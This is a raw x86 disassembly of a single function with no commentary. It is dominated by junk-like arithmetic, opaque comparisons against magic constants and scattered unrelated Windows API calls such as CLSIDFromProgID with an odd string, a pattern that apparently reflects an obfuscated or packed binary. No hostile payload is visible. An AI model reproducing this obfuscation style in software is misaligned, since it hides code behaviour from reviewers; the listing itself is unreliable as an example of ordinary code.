movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xd8]
mov byte [eax], dl
movzx ecx, word [ebp - 0x4c]
movzx edx, word [ebp - 0x18]
sub ecx, edx
mov eax, dword [ebp - 0x48]
mov word [eax], cx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x9c]
or edx, dword [ecx]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x54]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x68]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xc0]
shr edx, cl
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xe0]
shl edx, cl
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe0]
and ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x42ab08], al
movsx eax, byte [ebp - 1]
movsx ecx, byte [0x42ab08]
sub eax, ecx
mov edx, dword [ebp - 0x60]
mov byte [edx], al
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 2]
add eax, ecx
mov byte [ebp - 4], al
movzx edx, word [ebp - 0x20]
movzx eax, word [ebp - 0x8c]
add edx, eax
mov word [ebp - 0x18], dx
mov ecx, dword [ebp - 0xec]
sub ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
sub eax, dword [edx]
mov dword [ebp - 0xfc], eax
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 6]
and edx, eax
mov ecx, dword [ebp - 0x7c]
mov byte [ecx], dl
movzx edx, word [ebp - 0x18]
mov eax, dword [ebp - 0x104]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x40]
mov word [eax], dx
mov ecx, dword [ebp - 0x98]
xor ecx, dword [ebp - 0xec]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x108]
or eax, dword [edx]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x84]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x5c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
movzx edx, byte [ebp - 3]
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xd0]
mov byte [eax], dl
movzx ecx, word [ebp - 0x20]
movzx edx, word [ebp - 0x18]
and ecx, edx
mov eax, dword [ebp - 0x48]
mov word [eax], cx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], edx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x108]
mov dword [ebp - 0x84], eax
movsx ecx, word [ebp - 0xc]
movsx edx, word [ebp - 0x14]
sub ecx, edx
mov eax, dword [ebp - 0x70]
mov word [eax], cx
movsx ecx, byte [0x42ab08]
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 1], cl
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x9c]
mov dword [section..data], ecx
cmp dword [ebp - 0x7dc], 0xb944
jbe 0x4055bd
movzx edx, word [ebp - 0x18]
mov eax, dword [ebp - 0x104]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x40]
mov word [eax], dx
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x98]
mov dword [ebp - 0xc0], edx
cmp dword [ebp - 0x7e0], 0xd302
jae 0x405ace
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x94]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0xe8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x24]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x9c]
mov dword [ebp - 0xe0], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x28]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xcc]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 5], cl
mov ecx, dword [ebp - 0x7e0]
add ecx, 0x6a
mov dword [ebp - 0x7e0], ecx
mov edx, dword [ebp - 0xa8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xb4]
sub eax, ecx
mov word [ebp - 0x20], ax
mov edx, dword [ebp - 0xc4]
add edx, dword [ebp - 0x64]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0xfc]
add ecx, dword [eax]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x94]
mov dword [edx], ecx
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xa8]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xa4], cx
movzx ecx, byte [ebp - 6]
movzx edx, byte [ebp - 5]
add ecx, edx
mov eax, dword [ebp - 0xd4]
mov byte [eax], cl
movsx ecx, byte [ebp - 1]
movsx edx, byte [0x42ab08]
sub ecx, edx
mov eax, dword [ebp - 0x80]
mov byte [eax], cl
movsx ecx, word [ebp - 0x14]
movsx edx, word [ebp - 0x2c]
add ecx, edx
mov word [ebp - 0xc], cx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xe8]
add ecx, dword [edx]
mov dword [ebp - 0xec], ecx
mov eax, dword [ebp - 0xf8]
sub eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x18]
movzx ecx, word [ebp - 0xa4]
shl edx, cl
mov eax, dword [ebp - 0x6c]
mov word [eax], dx
movzx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0xd4]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 2], cl
mov edx, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x84]
sar edx, cl
mov eax, dword [ebp - 0xb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc0]
or ecx, dword [ebp - 0x64]
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0xac]
and eax, dword [edx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx]
mov edx, dword [ebp - 0xb0]
mov dword [edx], eax
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x20]
add ecx, edx
mov word [ebp - 0xa4], cx
movzx eax, byte [ebp - 2]
movzx ecx, byte [ebp - 5]
and eax, ecx
mov edx, dword [ebp - 0x90]
mov byte [edx], al
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x68]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x108], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x24], ecx
movsx edx, word [ebp - 0x2c]
mov eax, dword [ebp - 0x70]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x14], dx
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x80]
movsx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x60]
mov byte [ecx], al
jmp 0x405877
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa4]
shl eax, cl
mov ecx, dword [ebp - 0x40]
mov word [ecx], ax
movzx edx, byte [ebp - 4]
mov eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
and eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx]
sub eax, dword [ebp - 0xe0]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 5]
sub edx, eax
mov byte [ebp - 4], dl
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xb4]
sub edx, eax
mov word [ebp - 0x8c], dx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x30]
add edx, dword [eax]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], edx
mov edx, dword [ebp - 0x94]
mov eax, dword [edx]
and eax, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
add edx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x9c]
mov dword [ebp - 0x24], edx
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x104]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0xa4], ax
movzx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 6], al
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x94]
mov dword [edx], ecx
mov eax, dword [ebp - 0x54]
or eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov edx, dword [ebp - 0x70]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x14]
sar eax, cl
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x60]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x80]
mov byte [ecx], dl
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa4]
and eax, ecx
mov word [ebp - 0x20], ax
mov edx, dword [ebp - 0xcc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xcc]
mov byte [ecx], al
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x98]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov edx, dword [ebp - 0x7e4]
add edx, 0x28
mov dword [ebp - 0x7e4], edx
mov eax, dword [section..data]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x58]
mov eax, dword [edx]
sub eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
add eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xe8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x108]
and edx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xb0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x20]
sub edx, eax
mov word [ebp - 0xa4], dx
mov ecx, dword [ebp - 0xd8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xcc]
mov byte [eax], dl
mov ecx, dword [ebp - 0xfc]
add ecx, dword [ebp - 0x108]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x50]
xor eax, dword [edx]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x84]
or ecx, dword [ebp - 0x34]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x34]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x24], eax
movzx edx, byte [ebp - 6]
movzx ecx, byte [ebp - 5]
shl edx, cl
mov eax, dword [ebp - 0x90]
mov byte [eax], dl
movzx ecx, word [ebp - 0x8c]
mov edx, dword [ebp - 0xa8]
movzx eax, word [edx]
and ecx, eax
mov word [0x42a004], cx
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 1]
add edx, eax
mov ecx, dword [ebp - 0x80]
mov byte [ecx], dl
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0x2c]
sub edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x54]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 2]
add ecx, edx
mov eax, dword [ebp - 0xcc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x104]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c]
add edx, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], dx
mov edx, dword [ebp - 0xec]
and edx, dword [ebp - 0xc0]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0xe0]
add eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xfc]
or eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x4c]
shl edx, cl
mov eax, dword [ebp - 0x40]
mov word [eax], dx
movzx ecx, byte [ebp - 5]
mov edx, dword [ebp - 0xcc]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 3], cl
cmp dword [ebp - 0x7e4], 0x4dd8
jb 0x405ace
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x68]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0xa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
add edx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
add edx, dword [section..data]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
movsx ecx, byte [ebp - 1]
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x60]
mov byte [edx], cl
movsx eax, word [ebp - 0x14]
movsx ecx, word [ebp - 0x2c]
sub eax, ecx
mov word [ebp - 0xc], ax
mov edx, dword [ebp - 0xd4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 4]
sub eax, ecx
mov edx, dword [ebp - 0xb8]
mov byte [edx], al
movzx eax, word [ebp - 0x8c]
movzx ecx, word [ebp - 0x18]
sub eax, ecx
mov edx, dword [ebp - 0x104]
mov word [edx], ax
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xec]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x84], edx
movzx eax, word [ebp - 0xb4]
mov ecx, dword [ebp - 0x40]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xa4], ax
movzx edx, byte [ebp - 4]
mov eax, dword [ebp - 0xd8]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [ebp - 0xc0]
or edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x68]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x84]
mov dword [section..data], edx
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x94]
mov dword [edx], ecx
movzx eax, word [ebp - 0xb4]
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x4c], ax
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 6]
add ecx, edx
mov byte [ebp - 2], cl
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x108]
mov dword [ebp - 0xf8], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xf8], ecx
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0x2c]
sub edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 1]
sub eax, ecx
mov edx, dword [ebp - 0x80]
mov byte [edx], al
movzx eax, word [ebp - 0xb4]
movzx ecx, word [ebp - 0xa4]
add eax, ecx
mov word [0x42a004], ax
movzx edx, byte [ebp - 4]
movzx eax, byte [ebp - 3]
add edx, eax
mov ecx, dword [ebp - 0xd8]
mov byte [ecx], dl
mov edx, dword [ebp - 0xa0]
mov eax, dword [edx]
add eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov edx, dword [ebp - 0x98]
or edx, dword [ebp - 0x50]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x7e8]
add eax, 0x88
mov dword [ebp - 0x7e8], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x58]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x24]
sar edx, cl
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
movzx edx, word [0x42a004]
and ecx, edx
mov eax, dword [ebp - 0x40]
mov word [eax], cx
mov ecx, dword [ebp - 0xcc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
add edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x68]
add edx, dword [eax]
mov dword [ebp - 0x64], edx
cmp dword [ebp - 0x7e8], 0xc4c6
jb 0x405e0e
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov dword [ebp - 0x9b8], edx
cmp dword [ebp - 0x9b8], 0x1d18774
je 0x406141
cmp dword [ebp - 0x9b8], 0x7b6df15f
je 0x4060a4
jmp 0x4061e5
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xf8]
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov dword [ebp - 0x9bc], ecx
cmp dword [ebp - 0x9bc], 0x93f
je 0x4060ff
cmp dword [ebp - 0x9bc], 0xbd1
je 0x4060da
jmp 0x40613c
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x28]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x34], ecx
lea edx, [ebp - 0xb8]
push edx
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0x3d8], eax
jmp 0x40613c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x74]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xe8]
mov dword [eax], edx
movzx ecx, word [ebp - 0x20]
movzx edx, word [0x42a004]
sub ecx, edx
mov word [ebp - 0xa4], cx
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 5]
sub ecx, edx
mov eax, dword [ebp - 0xd8]
mov byte [eax], cl
jmp 0x4061e5
mov edx, dword [ebp - 0x64]
add edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
shl eax, cl
cmp edx, eax
je 0x4061e5
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ecx]
mov dword [ebp - 0xc48], edx
cmp dword [ebp - 0xc48], 0x1b3aa706
je 0x406178
jmp 0x4061d5
movsx eax, byte [0x42ab08]
mov ecx, dword [ebp - 0x88]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 1], al
lea edx, [ebp - 0x6b8]
push edx
push 0xf7
push 6
mov eax, dword [ebp - 0x3d4]
push eax
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [ebp - 0x6b0], eax
mov ecx, dword [ebp - 0x70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x14]
xor edx, eax
mov ecx, dword [ebp - 0x70]
mov word [ecx], dx
mov edx, dword [ebp - 0xe8]
mov eax, dword [edx]
or eax, dword [ebp - 0x98]
mov dword [ebp - 0xc4], eax
jmp 0x4061e5
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x9c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 4]
sub edx, eax
mov byte [0x42a006], dl
mov ecx, dword [ebp - 0xb0]
mov edx, dword [ecx]
mov dword [ebp - 0xc4c], edx
cmp dword [ebp - 0xc4c], 0
je 0x406213
jmp 0x4062b0
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xa8]
mov word [edx], cx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x9c0], eax
cmp dword [ebp - 0x9c0], 0xc58f7401
je 0x406271
cmp dword [ebp - 0x9c0], 0xee41228f
je 0x406253
jmp 0x4062a0
mov ecx, dword [ebp - 0x70]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x8c]
call fcn.00415de0
nop
jmp 0x4062a0
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [ebp - 0x2d4], eax
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0xd8]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0xf8]
add edx, dword [section..data]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx]
mov dword [ebp - 0x148], edx
jmp 0x406348
movzx eax, word [ebp - 0x8c]
mov dword [ebp - 0xc50], eax
cmp dword [ebp - 0xc50], 0xe27
je 0x4062cb
jmp 0x406308
lea ecx, [ebp - 0xeec]
push ecx
push str.Humanoids_below_Lieutenants
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [ebp - 0x3e0], eax
movzx edx, byte [ebp - 1]
push edx
mov eax, dword [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
push edx
mov dl, byte [ebp - 2]
mov eax, dword [ebp - 0x88]
mov cl, byte [eax]
call fcn.00416350
nop
jmp 0x406348
mov ecx, dword [ebp - 0x84]
and ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov dword [edx], ecx
push 0x3b
lea eax, [ebp - 0x2fc]
push eax
push fcn.00415860
mov ecx, dword [ebp - 0x500]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x3f8], eax
mov edx, dword [section..data]
sub edx, dword [ebp - 0x9c]
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x38]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x3c]
add ecx, dword [eax]
cmp edx, ecx
jge 0x406379
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 3]
shl edx, cl
mov eax, dword [ebp - 0x7c]
mov byte [eax], dl
jmp 0x4064cd
mov ecx, dword [ebp - 0x54]
sub ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x108]
or eax, dword [edx]
cmp ecx, eax
jne 0x4064cd
movzx ecx, word [ebp - 0x20]
mov edx, dword [ebp - 0x104]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xb4], cx
mov ecx, dword [ebp - 0xc0]
mov dword [0x42ab0c], ecx
mov edx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x50]
shr edx, cl
mov dword [ebp - 0xc0], edx
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
and eax, edx
movsx ecx, byte [0x42ab08]
mov edx, dword [ebp - 0x60]
movsx edx, byte [edx]
add ecx, edx
cmp eax, ecx
jle 0x4064c2
mov eax, dword [ebp - 0x80]
mov cl, byte [eax]
mov byte [ebp - 0x9c4], cl
cmp byte [ebp - 0x9c4], 0x2e
je 0x4064b3
cmp byte [ebp - 0x9c4], 0x6d
je 0x40640e
jmp 0x4064c2
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x8c]
push ecx
call dword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [ebp - 0x824], eax
mov edx, dword [ebp - 0x58]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx]
mov edx, dword [ebp - 0x38]
mov ecx, dword [edx]
sub ecx, dword [ebp - 0x34]
cmp eax, ecx
jne 0x406497
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x9c8], edx
cmp dword [ebp - 0x9c8], 0x84e5e1c
je 0x406484
cmp dword [ebp - 0x9c8], 0x1d348dd1
je 0x406465
jmp 0x406495
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x60]
movzx ecx, byte [eax]
push ecx
call fcn.00415bb0
nop
jmp 0x406495
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x34]
add eax, dword [edx]
mov dword [ebp - 0x108], eax
jmp 0x4064b1
lea ecx, [ebp - 0x8c]
push ecx
lea edx, [ebp - 0xefc]
push edx
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [ebp - 0x36c], eax
jmp 0x4064c2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx]
mov dword [ebp - 0x140], edx
mov al, byte [ebp - 1]
mov byte [ebp - 7], al
cmp dword [ebp - 0x7ec], 0x53c5
jae 0x406642
movsx ecx, word [ebp - 0xc]
movsx edx, word [ebp - 0x14]
sub ecx, edx
mov eax, dword [ebp - 0x70]
mov word [eax], cx
mov ecx, dword [ebp - 0xd8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 5]
xor edx, eax
mov ecx, dword [ebp - 0xb8]
mov byte [ecx], dl
